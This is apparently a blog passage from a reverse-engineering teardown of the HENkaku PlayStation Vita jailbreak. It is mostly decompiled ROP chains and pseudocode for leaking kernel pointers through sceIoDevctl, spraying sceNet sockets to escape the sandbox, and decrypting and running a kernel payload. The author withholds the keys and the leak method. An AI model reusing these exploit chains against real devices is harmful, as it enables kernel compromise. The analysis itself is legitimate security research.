BLX R7 -> Jump to memblock_addr
*/

So, random comments and mistakes aside, this gives us a clear view of what the kernel ROP chain is doing:
// Allocate a new memory block
char* memblock_name = "Magic";
uint32_t memblock_type = 0x1020D006;
uint32_t memblock_size = 0xA0000;
void* memblock_opts = 0x00000000;
uint32_t memblock_id = kern_memblock_alloc(memblock_name, memblock_type, memblock_size, memblock_opts, 0);
// Retrieve the memory block's address into a buffer
uint32_t *out_buf;
kern_memblock_getaddr(memblock_id, out_buf);
// Read out the address
uint32_t memblock_addr = (uint32_t)out_buf[0];
// Generate AES-256-ECB key using SceSysmem code!
void* k_buf = (void *)memblock_addr + 0x240; // Output buffer to store the key
uint32_t key_type = 0x80; // Key type?
uint32_t key_size = 0x100; // Key size (0x80 is 128-bit, 0x100 is 256-bit)
void* key = (void *)scesysmem_base + 0x39EB + 0x02; // The key is code!
uint32_t mode = 0x00000000; // Encryption mode (0 is ECB, 1 is CBC, 2 is CFB1)
AES_setkey(k_buf, key_type, key_size, key, mode);
// Decrypt the HENkaku's kernel loader
void *in_buf = (void *)kx_loader_addr + 0x10;
void *out_buf = (void *)memblock_addr + 0x10;
AES_decrypt(k_buf, in_buf, out_buf);
// Execute the kx_loader
kx_loader();
// Clean up?
sce_sysmemfordriver_call0(memblock_addr, 0, 0, 0);
sce_sysmemfordriver_call1(memblock_addr, 0x1020D005);
// Probably cache flush
sce_cpufordriver_call0(memblock_addr, 0x00000200);

If you recall, the kernel loader was an encrypted chunk of 0x100 bytes that was appended to the bottom of the ROP chain we copy into a kernel stack using sceIoDevctl:
  • // NULLs for padding at the bottom of the chain
    0x00(x_stack + 0x00008D7C) = 0x00000000;
    0x00(x_stack + 0x00008D80) = 0x00000000;
    0x00(x_stack + 0x00008D84) = 0x00000000;

    // Code starts here
    0x00(x_stack + 0x00008D88) = ...;

The kernel ROP decrypts this chunk using AES-256-ECB and the key is a piece of code from SceSysmem itself.
This is what the kernel loader looks like (note that base offset is set to 0x00000000):

// Entry point
sub_00000010(scesysmem_base, payload_addr)
{
r4 = scesysmem_base
sub_00000356();
r5 = scesysmem_base >> 0x20
sub_0000035A();
// Decrypt and launch HENkaku's payload
sub_00000020(scesysmem_base, payload_addr);
sub_00000538();
}
// Decrypt and launch HENkaku's payload
sub_00000020(scesysmem_base, payload_addr)
{
sp = (sp - 0x1C)
r4 = 0
r8 = sp + 0x18
r7 = scesysmem_base + 0xA500
r5 = scesysmem_base
r7 = scesysmem_base + 0xA521
0x0F(sp) = 0
r11 = payload_addr
r6 = scesysmem_base + 0x1F00
r9 = scesysmem_base + 0x23000
r10 = scesysmem_base + 0x1BA00
r1 = 0x1020D006
r2 = 0xB000
r3 = 0
r0 = sp + 0x18
// Allocate memblock1
r0 = kern_memblock_alloc(sp + 0x18, 0x1020D006, 0xB000, 0);
r2 = 0xB000
r3 = 0
0x04(sp) = r0 // memblock1_id
r0 = sp + 0x18
r1 = 0x1020D005
r6 = scesysmem_base + 0x1F15 // sub_A61F14
// Allocate memblock2
r0 = kern_memblock_alloc(sp + 0x18, 0x1020D005, 0xB000, 0);
r12 = 0x04(sp) // memblock1_id
r7 = r0 // memblock2_id
r1 = sp + 0x10
r9 = scesysmem_base + 0x23095
r10 = scesysmem_base + 0x1BAF5
r0 = memblock1_id
// Get memblock1's address
r0 = kern_memblock_getaddr(memblock1_id, sp + 0x10);
r0 = memblock2_id
r1 = sp + 0x14
// Get memblock2's address
r0 = kern_memblock_getaddr(memblock2_id, sp + 0x14);
r3 = scesysmem_base + 0x8200
r0 = 0x10(sp) // memblock1_addr
r3 = scesysmem_base + 0x825D
r1 = payload_addr
r2 = 0xA000
r7 = scesysmem_base + 0x1D800
// Call copy_from_user to read the HENkaku's payload
// into our new memory block
copy_from_user(memblock1_addr, payload_addr, 0xA000);
r6 = 0x10(sp) // memblock1_addr
r1 = 0x80
r3 = 0x40
r7 = scesysmem_base + 0x1D8D9
r2 = 0x80
r6 = memblock1_addr + 0xA000
r0 = memblock1_addr + 0xA000
r3 = payload_key
// Set the HENkaku's payload key (AES-128-ECB)
AES_setkey(memblock1_addr + 0xA000, 0x80, 0x80, payload_key, 0);
while (r4 != 0xA000)
{
r1 = 0x10(sp) // memblock1_addr
r0 = memblock1_addr + 0xA000
r1 = memblock1_addr + r4
r4 = r4 + 0x10
r2 = memblock1_addr + r4
// Decrypt the payload in place
AES_decrypt(memblock1_addr + 0xA000, memblock1_addr + r4, memblock1_addr + r4);
}
r0 = 0x14(sp) // memblock2_addr
r2 = 0xB000
r1 = 0x10(sp) // memblock1_addr
// Copy from data memory block to executable memory block
kern_memcpy(memblock2_addr, memblock1_addr, 0xB000);
r3 = 0x14(sp) // memblock2_addr
r2 = 0x10(sp) // memblock1_addr
r3 = memblock2_addr + 0x01
r2 = memblock1_addr + 0xAF00
// Set PC
r4 = memblock2_addr + 0x01 // payload()
// Set SP
sp = memblock1_addr + 0xAF00
r0 = scesysmem_base
// Call payload
payload(scesysmem_base);
sp = (sp + 0x1C)
return;
}

In sum, the loader allocates two memory blocks, one for data and another for code. Then it fetches the HENkaku's payload from user memory (using copy_from_user) and decrypts it in place using a static key (stored inside the kernel loader binary data). Finally, it copies the decrypted payload into an executable memory block, set's PC and SP and jumps to it.

Now we have HENkaku running on our system!
As proof, here are the SHA-1 hashes of the two crucial keys for the entire process:
Kernel loader key (AES-256-ECB): f1a8e9415bf3551377a36a1a5b25ba64f2d96494
Kernel payload key (AES-128-ECB): eacac4a780065c8c106349e412696aabd1b1b8d1

And that's it! This concludes the final stage of the HENkaku's KOTH challenge.
I don't plan on dwelving much into how I leaked the kernel's memory and I don't plan on releasing the keys themselves out of respect for other groups attempting to complete the challenge and for the developers themselves.
I believe the goal of this challenge was not to simply crown the first person to crack HENkaku, but to get the whole community engaged and bringing new ideas to the table.
By not releasing the decrypted binaries or the method I used to leak memory, others still have the chance to solve the challenge themselves.
I may publish a few more posts detailing some interesting features of the HENkaku's payload, but I will leave the full source code reveal to the developers themselves.

Until next time!

HENkaku - Exploit teardown - Stage 2

HENkaku - Stage 2

 

Stage 2's payload is composed by another ROP chain and data.
It creates two userland threads (each one with it's own ROP chain), that take care of leaking kernel pointers (by issuing devctl commands to "sdstor0:") and breaking the userland sandbox (by exploiting sceNet functions).
// Copy SD card device path and param
strcpy(x_stack + 0x000086B4, "sdstor0:");
strcpy(x_stack + 0x000086CC, "xmc-lp-ign-userext");
// Clear devctl 0x05 outbuf
// From x_stack + 0x00006F34 to x_stack + 0x00007334
memset(x_stack + 0x00006F34, 0x00000000, 0x00000400);
// Copy dummy device path
strcpy(x_stack + 0x000086E4, "molecule0:");
// Mount path?
sceLibKernel_A4AD("molecule0:");
// Send command 0x05 to "sdstor0:"
sceIoDevctl("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014, x_stack + 0x00006F34, 0x000003FF);
// Store leaked kernel pointer 1
// Comes from devctl_outbuf + 0x3D4
0x00(x_stack + 0x00008464) = 0x00(x_stack + 0x00007308) + 0xFFFFA8B9
// Create "pln" thread
// "pln" == "pointer leak n"?
// Entry (0x000054C8): LDMIA R1,{R1,R2,R4,R8,R11,SP,PC}
int thread_id = sceKernelCreateThread("pln", 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
// Store "pln" thread's ID
0x00(x_stack + 0x00008E94) = thread_id
// Store SceKernelThreadInfo size
0x00(x_stack + 0x0000862C) = 0x7C
// Get thread info structure
sceKernelGetThreadInfo(thread_id, x_stack + 0x0000862C);
// Save pln_threadinfo.stack + 0x00001000
0x00(x_stack + 0x00008EA0) = 0x00(x_stack + 0x00008660) + 0x00001000
// Stack parameters for "pln" ROP chain
0x00(x_stack + 0x00008954) = 0x00000014
0x00(x_stack + 0x00008958) = x_stack + 0x00006F34
0x00(x_stack + 0x0000895C) = 0x000003FF
// Stack parameters for "pln" ROP chain
0x00(x_stack + 0x0000896C) = 0x00000400
0x00(x_stack + 0x00008970) = 0x00000000
0x00(x_stack + 0x00008974) = 0x00000000
// Setup "pln" ROP chain
0x00(x_stack + 0x00008708) = 0x008DD9B5
0x00(x_stack + 0x0000870C) = 0x000086E4
0x00(x_stack + 0x00008710) = 0x00000000
0x00(x_stack + 0x00008714) = 0x00000000
0x00(x_stack + 0x00008718) = 0x00000000
0x00(x_stack + 0x0000871C) = 0x0000A4AD
0x00(x_stack + 0x00008720) = 0x00000000
0x00(x_stack + 0x00008724) = 0x000FCDBB
0x00(x_stack + 0x00008728) = 0x00000000
0x00(x_stack + 0x0000872C) = 0x008DD9B5
0x00(x_stack + 0x00008730) = 0x000086B4
0x00(x_stack + 0x00008734) = 0x00000005
0x00(x_stack + 0x00008738) = 0x000086CC
0x00(x_stack + 0x0000873C) = 0x00008954
0x00(x_stack + 0x00008740) = 0x0000690C
0x00(x_stack + 0x00008744) = 0x00000000
0x00(x_stack + 0x00008748) = 0x000FCDBB
0x00(x_stack + 0x0000874C) = 0x00000000
0x00(x_stack + 0x00008750) = 0x008DD9B5
0x00(x_stack + 0x00008754) = 0x000F4240
0x00(x_stack + 0x00008758) = 0x00000000
0x00(x_stack + 0x0000875C) = 0x00000000
0x00(x_stack + 0x00008760) = 0x00000000
0x00(x_stack + 0x00008764) = 0x00018544
0x00(x_stack + 0x00008768) = 0x00000000
0x00(x_stack + 0x0000876C) = 0x000FCDBB
0x00(x_stack + 0x00008770) = 0x00000000
0x00(x_stack + 0x00008774) = 0x008DD9B5
0x00(x_stack + 0x00008778) = 0x000086B4
0x00(x_stack + 0x0000877C) = 0x00000005
0x00(x_stack + 0x00008780) = 0x00007444
0x00(x_stack + 0x00008784) = 0x0000896C
0x00(x_stack + 0x00008788) = 0x0000690C
0x00(x_stack + 0x0000878C) = 0x00000000
0x00(x_stack + 0x00008790) = 0x000FCDBB
0x00(x_stack + 0x00008794) = 0x00000000
0x00(x_stack + 0x00008798) = 0x00000519
/*
"pln" ROP
// Mount path?
sceLibKernel_A4AD("molecule0:");
// Send devctl 0x05
sceIoDevctl_syscall("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014, x_stack + 0x00006F34, 0x000003FF);
// Delay for a while
sceKernelDelayThread(1000000);
// Send devctl 0x05 again using
// input buffer from x_stack + 0x00007444 to x_stack + 0x00007844
sceIoDevctl_syscall("sdstor0:", 0x00000005, x_stack + 0x00007444, 0x00000400, 0x00000000, 0x00000000);
// Deadlock
sceWebkit_519();
*/
// Copy "pln" ROP chain into "pln" thread's stack
memcpy(0x00(x_stack + 0x00008EA0), x_stack + 0x00008708, 0x00000100);
// Set stack pointer
0x00(x_stack + 0x00008830) = x_stack + 0x00008EA0
// Set PC
0x00(x_stack + 0x00008834) = 0x000C048B // POP {PC}
// Start "pln" thread
// Thread arguments are loaded into R1 and the gadget
// at the thread's entrypoint then loads register values
// from it, overwritting SP and PC and triggering the
// ROP chain
sceKernelStartThread(thread_id, 0x0000001C, x_stack + 0x0000881C);
// Delay for a while
sceKernelDelayThread(100000);
// Store leaked kernel pointer 2
// Comes from devctl_outbuf + 0x3C4
0x00(x_stack + 0x00008458) = 0x00(x_stack + 0x000072F8) + 0xFFFFF544
// Setup pointer to leaked address in kernel module 1
0x00(x_stack + 0x00007444) = 0x00(x_stack + 0x00008464) + 0x0001E460
// Setup pointer to leaked address in kernel module 2
0x00(x_stack + 0x00008EAC) = 0x00(x_stack + 0x00008458) + 0x000006F8 + 0x00000300
// Setup kernel mode ROP chain
0x00(x_stack + 0x00008A8C) = 0x00(x_stack + 0x00008464) + 0x00000031
0x00(x_stack + 0x00008A90) = 0x08106803
0x00(x_stack + 0x00008A94) = 0x00(x_stack + 0x00008464) + 0x0001EFF1
0x00(x_stack + 0x00008A98) = 0x00000038
0x00(x_stack + 0x00008A9C) = 0x00(x_stack + 0x00008464) + 0x0001EFE1
0x00(x_stack + 0x00008AA0) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008AA4) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008AA8) = 0x00(x_stack + 0x00008464) + 0x0001B571
0x00(x_stack + 0x00008AAC) = 0x00000000
0x00(x_stack + 0x00008AB0) = 0x00(x_stack + 0x00008464) + 0x00001E43
0x00(x_stack + 0x00008AB4) = 0x00000000
0x00(x_stack + 0x00008AB8) = 0x00(x_stack + 0x00008464) + 0x0001FC6D
0x00(x_stack + 0x00008ABC) = 0x00(x_stack + 0x00008464) + 0x0000EA73
0x00(x_stack + 0x00008AC0) = 0x00(x_stack + 0x00008464) + 0x00000031
0x00(x_stack + 0x00008AC4) = 0x00(x_stack + 0x00008464) + 0x00027913
0x00(x_stack + 0x00008AC8) = 0x00(x_stack + 0x00008464) + 0x0000A523
0x00(x_stack + 0x00008ACC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008AD0) = 0x00(x_stack + 0x00008464) + 0x00000CE3
0x00(x_stack + 0x00008AD4) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008AD8) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008ADC) = 0x00(x_stack + 0x00008464) + 0x00000067
0x00(x_stack + 0x00008AE0) = 0x00(x_stack + 0x00008464) + 0x0000587F
0x00(x_stack + 0x00008AE4) = 0x00(x_stack + 0x00008464) + 0x00019713
0x00(x_stack + 0x00008AE8) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008AEC) = 0x00(x_stack + 0x00008464) + 0x00001E1D
0x00(x_stack + 0x00008AF0) = 0x00000000
0x00(x_stack + 0x00008AF4) = 0x00(x_stack + 0x00008464) + 0x0001EFE1
0x00(x_stack + 0x00008AF8) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008AFC) = 0x00(x_stack + 0x00008464) + 0x00001603
0x00(x_stack + 0x00008B00) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008B04) = 0x00(x_stack + 0x00008464) + 0x00001F17
0x00(x_stack + 0x00008B08) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B0C) = 0x00(x_stack + 0x00008464) + 0x00000031
0x00(x_stack + 0x00008B10) = 0x00(x_stack + 0x00008464) + 0x0000B913
0x00(x_stack + 0x00008B14) = 0x00(x_stack + 0x00008464) + 0x00023B61
0x00(x_stack + 0x00008B18) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B1C) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008B20) = 0x00(x_stack + 0x00008464) + 0x000232EB
0x00(x_stack + 0x00008B24) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B28) = 0x00(x_stack + 0x00008464) + 0x0001B571
0x00(x_stack + 0x00008B2C) = 0x00(x_stack + 0x00008464) + 0x00023B61
0x00(x_stack + 0x00008B30) = 0x00(x_stack + 0x00008464) + 0x000232F1
0x00(x_stack + 0x00008B34) = 0x00(x_stack + 0x00008464) + 0x00001411
0x00(x_stack + 0x00008B38) = 0x00(x_stack + 0x00008464) + 0x00000AE1
0x00(x_stack + 0x00008B3C) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B40) = 0x00(x_stack + 0x00008464) + 0x000050E9
0x00(x_stack + 0x00008B44) = 0x00(x_stack + 0x00008464) + 0x00001411
0x00(x_stack + 0x00008B48) = 0x00000010
0x00(x_stack + 0x00008B4C) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008B50) = 0x00(x_stack + 0x00008464) + 0x00012B11
0x00(x_stack + 0x00008B54) = 0x00(x_stack + 0x00008464) + 0x00000CE3
0x00(x_stack + 0x00008B58) = 0x00(x_stack + 0x00008464) + 0x000000D1
0x00(x_stack + 0x00008B5C) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B60) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008B64) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B68) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008B6C) = 0x00(x_stack + 0x00008464) + 0x0001FDC5
0x00(x_stack + 0x00008B70) = 0x00(x_stack + 0x00008464) + 0x0001D8DB
0x00(x_stack + 0x00008B74) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008B78) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008B7C) = 0x00(x_stack + 0x00008464) + 0x00011C5F
0x00(x_stack + 0x00008B80) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008B84) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B88) = 0x00(x_stack + 0x00008464) + 0x0000B913
0x00(x_stack + 0x00008B8C) = 0x00000000
0x00(x_stack + 0x00008B90) = 0x00(x_stack + 0x00008464) + 0x0001EFE1
0x00(x_stack + 0x00008B94) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008B98) = 0x00(x_stack + 0x00008464) + 0x00001861
0x00(x_stack + 0x00008B9C) = 0x00(x_stack + 0x00008464) + 0x0001FC6D
0x00(x_stack + 0x00008BA0) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008BA4) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BA8) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008BAC) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008BB0) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BB4) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008BB8) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BBC) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008BC0) = 0x00(x_stack + 0x00008464) + 0x0001614D
0x00(x_stack + 0x00008BC4) = 0x00(x_stack + 0x00008464) + 0x000233D3
0x00(x_stack + 0x00008BC8) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008BCC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BD0) = 0x00(x_stack + 0x00008464) + 0x000000AF
0x00(x_stack + 0x00008BD4) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008BD8) = 0x00(x_stack + 0x00008464) + 0x0001EFE1
0x00(x_stack + 0x00008BDC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BE0) = 0x00(x_stack + 0x00008464) + 0x000050E9
0x00(x_stack + 0x00008BE4) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008BE8) = 0x00(x_stack + 0x00008464) + 0x00001347
0x00(x_stack + 0x00008BEC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008BF0) = 0x00(x_stack + 0x00008464) + 0x000000B9
0x00(x_stack + 0x00008BF4) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008BF8) = 0x00(x_stack + 0x00008464) + 0x00001347
0x00(x_stack + 0x00008BFC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C00) = 0x00(x_stack + 0x00008464) + 0x0000039B
0x00(x_stack + 0x00008C04) = 0x00000000
0x00(x_stack + 0x00008C08) = 0x00(x_stack + 0x00008464) + 0x0001CB95
0x00(x_stack + 0x00008C0C) = 0x00(x_stack + 0x00008464) + 0x0001EA93
0x00(x_stack + 0x00008C10) = 0x00(x_stack + 0x00008464) + 0x00001411
0x00(x_stack + 0x00008C14) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C18) = 0x00(x_stack + 0x00008464) + 0x000209D7
0x00(x_stack + 0x00008C1C) = 0x00(x_stack + 0x00008464) + 0x000209D3
0x00(x_stack + 0x00008C20) = 0x00(x_stack + 0x00008464) + 0x00001411
0x00(x_stack + 0x00008C24) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C28) = 0x00(x_stack + 0x00008464) + 0x0001BAF5
0x00(x_stack + 0x00008C2C) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008C30) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C34) = 0x00(x_stack + 0x00008464) + 0x0000652B
0x00(x_stack + 0x00008C38) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C3C) = 0x00(x_stack + 0x00008464) + 0x0001BAF5
0x00(x_stack + 0x00008C40) = 0x00(x_stack + 0x00008464) + 0x00022A49
0x00(x_stack + 0x00008C44) = 0xFFFFFEB0
0x00(x_stack + 0x00008C48) = 0x00(x_stack + 0x00008464) + 0x0000039B
0x00(x_stack + 0x00008C5C) = 0x00000040
0x00(x_stack + 0x00008C50) = 0x00(x_stack + 0x00008464) + 0x00022A49
0x00(x_stack + 0x00008C54) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C58) = 0x00(x_stack + 0x00008464) + 0x0000652B
0x00(x_stack + 0x00008C6C) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C60) = 0x00(x_stack + 0x00008464) + 0x0000039B
0x00(x_stack + 0x00008C64) = 0x00000040
0x00(x_stack + 0x00008C68) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008C6C) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008C70) = 0x00(x_stack + 0x00008464) + 0x0001D9EB
0x00(x_stack + 0x00008C74) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008C78) = 0x00(x_stack + 0x00008464) + 0x00000853
0x00(x_stack + 0x00008C7C) = 0x00(x_stack + 0x00008464) + 0x0001D8DB
0x00(x_stack + 0x00008C80) = 0x00000038
0x00(x_stack + 0x00008C84) = 0x00(x_stack + 0x00008464) + 0x000000AB
0x00(x_stack + 0x00008C88) = 0x00(x_stack + 0x00008464) + 0x000000D1
0x00(x_stack + 0x00008C8C) = 0x00(x_stack + 0x00008464) + 0x0002328B
0x00(x_stack + 0x00008C90) = 0x00(x_stack + 0x00008464) + 0x00022FCD
0x00(x_stack + 0x00008C94) = 0x00(x_stack + 0x00008464) + 0x000000D1
0x00(x_stack + 0x00008C98) = 0x00(x_stack + 0x00008464) + 0x0001EFF1
0x00(x_stack + 0x00008C9C) = 0x00(x_stack + 0x00008464) + 0x0002A117
0x00(x_stack + 0x00008CA0) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008CA4) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008CA8) = 0x00(x_stack + 0x00008464) + 0x00019399
0x00(x_stack + 0x00008CAC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008CB0) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008CB4) = 0x00(x_stack + 0x00008464) + 0x0001BF1F
0x00(x_stack + 0x00008CB8) = 0xFFFFFEB0
0x00(x_stack + 0x00008CBC) = 0x00(x_stack + 0x00008464) + 0x0000039B
0x00(x_stack + 0x00008CC0) = 0x00000040
0x00(x_stack + 0x00008CC4) = 0x00(x_stack + 0x00008464) + 0x00022A49
0x00(x_stack + 0x00008CC8) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008CCC) = 0x00(x_stack + 0x00008464) + 0x00003D73
0x00(x_stack + 0x00008CD0) = 0x00000000
0x00(x_stack + 0x00008CD4) = 0x00(x_stack + 0x00008464) + 0x000021FD
0x00(x_stack + 0x00008CD8) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008CDC) = 0x00(x_stack + 0x00008464) + 0x000050E9
0x00(x_stack + 0x00008CE0) = 0x00(x_stack + 0x00008464) + 0x00000AE1
0x00(x_stack + 0x00008CE4) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008CE8) = 0x00(x_stack + 0x00008464) + 0x0002A117
0x00(x_stack + 0x00008CEC) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008CF0) = 0x00(x_stack + 0x00008464) + 0x0001F2B1
0x00(x_stack + 0x00008CF4) = 0x00(x_stack + 0x00008464) + 0x00000067
0x00(x_stack + 0x00008CF8) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008CFC) = 0x00(x_stack + 0x00008464) + 0x0001BF47
0x00(x_stack + 0x00008D00) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008D04) = 0x00(x_stack + 0x00008464) + 0x000050E9
0x00(x_stack + 0x00008D08) = 0x00(x_stack + 0x00008464) + 0x0000AF33
0x00(x_stack + 0x00008D0C) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008D10) = 0x00(x_stack + 0x00008464) + 0x0001D9EB
0x00(x_stack + 0x00008D14) = 0x00000000
0x00(x_stack + 0x00008D18) = 0x00(x_stack + 0x00008464) + 0x0001FC6D
0x00(x_stack + 0x00008D1C) = 0x00(x_stack + 0x00008464) + 0x0000EA73
0x00(x_stack + 0x00008D20) = 0x00(x_stack + 0x00008464) + 0x0000039B
0x00(x_stack + 0x00008D24) = 0x00(x_stack + 0x00008464) + 0x00000853
0x00(x_stack + 0x00008D28) = 0xFFFFFFFF
0x00(x_stack + 0x00008D2C) = 0x08106803
0x00(x_stack + 0x00008D30) = 0x00(x_stack + 0x00008464) + 0x000233D3
0x00(x_stack + 0x00008D34) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008D38) = 0x00(x_stack + 0x00008464) + 0x00000433
0x00(x_stack + 0x00008D3C) = 0x00(x_stack + 0x00008464) + 0x000233D3
0x00(x_stack + 0x00008D40) = 0x00(x_stack + 0x00008464) + 0x000150A3
0x00(x_stack + 0x00008D44) = 0x00000000
0x00(x_stack + 0x00008D48) = 0x00(x_stack + 0x00008464) + 0x0000A74D
0x00(x_stack + 0x00008D4C) = 0x00(x_stack + 0x00008464) + 0x00000000
0x00(x_stack + 0x00008D50) = 0x00(x_stack + 0x00008464) + 0x00000853
0x00(x_stack + 0x00008D54) = 0x00(x_stack + 0x00008464) + 0x0001BF1F
0x00(x_stack + 0x00008D58) = 0x00000000
0x00(x_stack + 0x00008D5C) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008D60) = 0x00(x_stack + 0x00008464) + 0x00000347
0x00(x_stack + 0x00008D64) = 0x00(x_stack + 0x00008464) + 0x000050E9
0x00(x_stack + 0x00008D68) = 0x00(x_stack + 0x00008464) + 0x00001605
0x00(x_stack + 0x00008D6C) = 0x00(x_stack + 0x00008464) + 0x00022FCD
0x00(x_stack + 0x00008D70) = 0x00(x_stack + 0x00008464) + 0x000039EB
0x00(x_stack + 0x00008D74) = 0x00(x_stack + 0x00008464) + 0x00000853
0x00(x_stack + 0x00008D78) = 0x00(x_stack + 0x00008464) + 0x00011C5F
// Overwrite specific NULLs in the ROP chain
0x00(x_stack + 0x00008C04) = 0x00(x_stack + 0x00008EAC)
0x00(x_stack + 0x00008B48) = 0x00000090
0x00(x_stack + 0x00008CC0) = 0x00000240
0x00(x_stack + 0x00008D58) = 0x00000200
0x00(x_stack + 0x00008D14) = 0x00008FC0
// Copy kernel ROP chain
memcpy(x_stack + 0x00007448, x_stack + 0x00008A8C, 0x300);
// Copy the first 0x400 bytes of "obfuscated" data
// and append them at the bottom of the ROP chain
memcpy(x_stack + 0x00007744, x_stack + 0x00008EB8, 0x400);
// Set kernel thread SP, PC, UNK
0x00(x_stack + 0x00008858) = 0x00(x_stack + 0x00008458) + 0x000006DC
0x00(x_stack + 0x0000884C) = 0x00(x_stack + 0x00008458) + 0x000006F8 + 0x00000004
0x00(x_stack + 0x00008850) = 0x00(x_stack + 0x00008464) + 0x00000347
// Create "mhm" thread
// "mhm" == "move heap memory"?
// Entry (0x000054C8): LDMIA R1, {R1,R2,R4,R8,R11,SP,PC}
int thread_id = sceKernelCreateThread("mhm", 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
// Store "mhm" thread's ID
0x00(x_stack + 0x00008620) = thread_id
// Store SceKernelThreadInfo size
0x00(x_stack + 0x0000862C) = 0x0000007C
// Get "mhm" thread's info structure
sceKernelGetThreadInfo(thread_id, x_stack + 0x0000862C);
// Store mhm_threadinfo.stack + 0x00001000
0x00(x_stack + 0x000086FC) = 0x00(x_stack + 0x00008660) + 0x00001000
// Spam sceNetSocket requests
// sceNetSocket("x", AF_INET, SOCK_STREAM, 0);
0x00(x_stack + 0x00008470) = sceNetSocket(x_stack + 0x00010388, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008474) = sceNetSocket(x_stack + 0x00010390, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008478) = sceNetSocket(x_stack + 0x00010398, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x0000847C) = sceNetSocket(x_stack + 0x000103A0, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008480) = sceNetSocket(x_stack + 0x000103A8, 0x00000002, 0x00000001, 0x00000000);
0x00(x_stack + 0x00008484) = sceNetSocket(x_stack + 0x000103B0, 0x00000002, 0x00000001, 0x00000000);
